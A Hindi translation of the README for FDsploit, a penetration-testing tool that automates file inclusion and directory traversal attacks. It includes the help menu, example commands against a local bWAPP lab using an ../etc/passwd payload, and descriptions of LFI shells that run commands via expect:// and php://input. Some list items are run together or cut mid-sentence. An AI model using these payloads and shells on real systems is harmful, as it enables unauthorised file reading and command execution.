
फ़ाइल समावेशन और निर्देशिका ट्रैवर्सल फ़ज़िंग, गणना और शोषण उपकरण।
FDsploit मेनू:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit का उपयोग स्थानीय/दूरस्थ फ़ाइल समावेशन और निर्देशिका अनुरेखण कमज़ोरियों को स्वचालित रूप से खोजने और उनका शोषण करने के लिए किया जा सकता है। यदि कोई LFI कमज़ोरी पाई जाती है, तो --lfishell विकल्प का उपयोग करके इसका शोषण किया जा सकता है। अभी के लिए, 3 विभिन्न प्रकार के LFI शेल समर्थित हैं:
simple: इस प्रकार का शेल उपयोगकर्ता को हर बार URL टाइप किए बिना आसानी से फ़ाइलें पढ़ने देता है। साथ ही यह केवल फ़ाइल का आउटपुट प्रदान करता है, न कि पृष्ठ का पूरा HTML स्रोत कोड, जो इसे बहुत उपयोगी बनाता है।expect: इस प्रकार का शेल एक अर्ध-संवादात्मक शेल है जो उपयोगकर्ता को PHP के expect:// रैपर के माध्यम से कमांड निष्पादित करने देता है।input: इस प्रकार का शेल एक अर्ध-संवादात्मक शेल है जो उपयोगकर्ता को PHP के php://input स्ट्रीम के माध्यम से भी कमांड निष्पादित करने देता है।अब तक, केवल दो lfi-shell बिल्ट-इन कमांड हैं:
clear औरexit।*) का उपयोग करके परीक्षण के लिए कुछ पैरामीटर निर्दिष्ट किए जा सकते हैं।नीचे दिए गए आउटपुट से ऐसा प्रतीत होता है कि directory पैरामीटर संभवतः निर्देशिका अनुरेखण कमज़ोरी के लिए संवेदनशील है क्योंकि ../ पेलोड के साथ हर अनुरोध एक अलग sha-256 हैश उत्पन्न करता है। साथ ही प्रत्येक अनुरोध के लिए content-length भिन्न है:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
फिर से, ../etc/passwd आदि पेलोड का उपयोग करते हुए language पैरामीटर LFI के लिए संवेदनशील प्रतीत होता है क्योंकि हरे रंग में चिह्नित प्रत्येक अनुरोध प्रारंभिक से भिन्न हैश, एक भिन्न content-length उत्पन्न करता है, और निर्दिष्ट कीवर्ड प्रतिक्रिया में पाया जाता है:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
simple शेल का उपयोग करके उपरोक्त LFI का शोषण:
POST क्रिया का उपयोग किया जाता है, तो --params विकल्प भी निर्दिष्ट किया जाना चाहिए।--payload विकल्प को डिफ़ॉल्ट मान (None) पर छोड़ा जाना चाहिए।--file विकल्प का उपयोग किया जाता है, तो केवल GET अनुरोध समर्थित है।--file और --cookie विकल्प सेट होते हैं, तो चूंकि एक बार में केवल एक कुकी निर्दिष्ट की जा सकती है, URL एक ही डोमेन को संदर्भित करने चाहिए या कुकी के बिना सुलभ होने चाहिए (यह भविष्य के अद्यतन में ठीक किया जाएगा)।input शेल POST क्रिया के साथ संगत नहीं है।नोट: आवश्यकताओं को स्थापित करने के लिए:
pip install -r requirements.txt --upgrade --user
💡 FDsploit BlackArch Linux वितरण के साथ पूर्व-स्थापित भी आता है।
--file को POST पैरामीटर और कुकी के साथ भी काम करने योग्य बनाएं, संभवतः इनपुट के लिए json आदि फ़ाइल का उपयोग करके।--lfishell में और बिल्ट-इन कमांड जोड़ें जैसे हिस्ट्री आदि।प्रतिक्रिया और योगदान का स्वागत है। यदि आपको कोई बग मिलता है या आप कोई फीचर अनुरोध करना चाहते हैं, तो बेझिझक एक issue खोलें, और जैसे ही मैं इसकी समीक्षा करूंगा, इसे ठीक करने का प्रयास करूंगा!
यह उपकरण केवल परीक्षण और शैक्षिक उद्देश्यों के लिए है और इसका उपयोग केवल वहीं किया जा सकता है जहां सख्त सहमति दी गई हो। इसका उपयोग अवैध उद्देश्यों के लिए न करें! सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स किसी भी देयता को नहीं मानते हैं और इस उपकरण और सामान्य रूप से सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
यह प्रोजेक्ट GPLv3 लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।